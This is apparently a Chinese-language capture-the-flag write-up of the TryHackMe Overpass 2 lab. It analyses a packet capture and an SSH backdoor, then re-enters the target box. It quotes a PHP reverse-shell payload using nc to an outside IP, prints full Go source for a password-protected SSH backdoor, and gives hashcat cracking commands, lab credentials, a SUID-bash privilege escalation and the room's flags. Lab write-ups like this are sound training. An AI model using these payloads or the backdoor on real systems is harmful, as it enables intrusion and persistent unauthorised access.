Offensive Pentesting-Overpass2
Offensive Pentesting-Overpass2
这个room主要是一个流量分析溯源取证的 难度相对来说比较简单 同时分析完攻击行为之后 我们可以利用流量包中的记录来进行攻击靶机
Forensics - Analyse the PCAP
下载下来附件是一个流量包 直接追踪tcp流
第一个流中 上传了一个反弹shell马
他们用来上传反向 shell 的页面的 URL 是什么?
/development
攻击者使用什么有效负载来获取访问权限?
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
第三个流中就是一个反弹到shell后执行命令的记录
也能看到使用su james
命令登陆到了james用户
攻击者使用什么密码来获取权限?
whenevernoteartinstant
往后看到执行了sudo -l
命令查看了当前james用户的sudo权限规则 查看哪些命令可以被执行
在往后看 看到是下载了一个ssh的后门项目 应该就是通过这个来进行持久化的
攻击者是如何建立持久性的?
https://github.com/NinjaJc01/ssh-backdoor
下一道题 需要我们来爆破密码 因为根据sudo -l
的结果 james拥有root权限的 所以是可以读取/etc/shadow
的内容的
这里一共是获取到了五个用户的密码哈希值 我们可以使用hashcat来进行爆破 题干中也提示了使用fasttrack字典来进行爆破
先来找一下这个字典具体的位置
sudo find / -name "*fasttrack*"
hashcat -m 1800 -a 0 hash1.txt /usr/share/wordlists/fasttrack.txt
可以看到出了james的登陆密码 剩下四个用户的密码都爆破出来了
使用 fasttrack 单词列表,有多少系统密码是可破解的?
4
Research - Analyse the code
接上一部分 我们已经找到了他进行持久化使用的后门程序 我们直接去GitHub上把这个项目下载下来 https://github.com/NinjaJc01/ssh-backdoor
这应该是一个使用go语言编写的脚本程序
打开查看源代码
package main
import (
"crypto/sha512"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os/exec"
"github.com/creack/pty"
"github.com/gliderlabs/ssh"
"github.com/integrii/flaggy"
gossh "golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
)
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
func main() {
var (
lport uint = 2222
lhost net.IP = net.ParseIP("0.0.0.0")
keyPath string = "id_rsa"
fingerprint string = "OpenSSH_8.2p1 Debian-4"
)
flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
flaggy.String(&hash, "a", "hash", "Hash for backdoor")
flaggy.Parse()
log.SetPrefix("SSH - ")
privKeyBytes, err := ioutil.ReadFile(keyPath)
if err != nil {
log.Panicln("Error reading privkey:\t", err.Error())
}
privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
if err != nil {
log.Panicln("Error parsing privkey:\t", err.Error())
}
server := &ssh.Server{
Addr: fmt.Sprintf("%s:%v", lhost.String(), lport),
Handler: sshterminal,
Version: fingerprint,
PasswordHandler: passwordHandler,
}
server.AddHostKey(privateKey)
log.Println("Started SSH backdoor on", server.Addr)
log.Fatal(server.ListenAndServe())
}
func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
return resultHash == hash
}
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
func sshHandler(s ssh.Session) {
command := s.RawCommand()
if command != "" {
s.Write(runCommand(command))
return
}
term := terminal.NewTerminal(s, "$ ")
for {
command, _ = term.ReadLine()
if command == "exit" {
return
}
term.Write(runCommand(command))
}
}
func sshterminal(s ssh.Session) {
cmd := exec.Command("/bin/bash", "-i")
ptyReq, _, isPty := s.Pty()
if isPty {
cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
f, err := pty.Start(cmd)
if err != nil {
panic(err)
}
go func() {
io.Copy(f, s) // stdin
}()
io.Copy(s, f) // stdout
cmd.Wait()
} else {
io.WriteString(s, "No PTY requested.\n")
s.Exit(1)
}
}
func runCommand(cmd string) []byte {
result := exec.Command("/bin/bash", "-c", cmd)
response, _ := result.CombinedOutput()
return response
}
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
What’s the default hash for the backdoor?
bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3
What’s the hardcoded salt for the backdoor?
1c362db832f3f864c8c2fe05f2002a05
下一题看起来他应该是使用了这个后门程序破解了一个哈希值 对应在流量包的这个部分
What was the hash that the attacker used? - go back to the PCAP for this!
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
我们可以使用rockyou.txt来破解一下这个哈希值 根据前面源码可以得知 这个哈希值应该是sha512
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
对应使用的hashcat命令是
hashcat -m 1710 -a 0 hash.txt rockyou.txt
Crack the hash using rockyou and a cracking tool of your choice. What’s the password?
november16
Attack - Get back in!
现在事件已经被调查,Paradox 需要有人再次控制 Overpass 生产服务器。
盒子上有一些flag,Overpass 不能因为格式化服务器而丢失!
攻击者污损了网站。他们留下了什么信息作为标题?
H4ck3d by CooctusClan
首先是第一题 这个其实在流量包中就能看到 当然直接访问靶机网站也可以
现在 我们有了一组账密 可以直接使用ssh连接上这台靶机 再根据上面代码中的内容 判断出应该是使用2222端口进行ssh连接
func main() {
var (
lport uint = 2222
lhost net.IP = net.ParseIP("0.0.0.0")
keyPath string = "id_rsa"
fingerprint string = "OpenSSH_8.2p1 Debian-4"
)
事实上 我们可以扫一下端口 发现确实2222端口也存在ssh服务
ssh james@10.10.187.108 -p 2222
但是发生报错
gpt一下 大概意思是服务器只支持旧的 ssh-rsa
算法,而我的客户端可能已禁用此算法,特别是在较新版本的 OpenSSH 中。
那修改一下命令
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -p 2222 james@10.10.187.108
连接成功
先读user的flag
再看一下suid
有个.suid_bash
应该可以bash提权 直接读root的flag
What’s the user flag?
thm{d119b4fa8c497ddb0525f7ad200e6567}
What’s the root flag?
thm{d53b2684f169360bb9606c333873144d}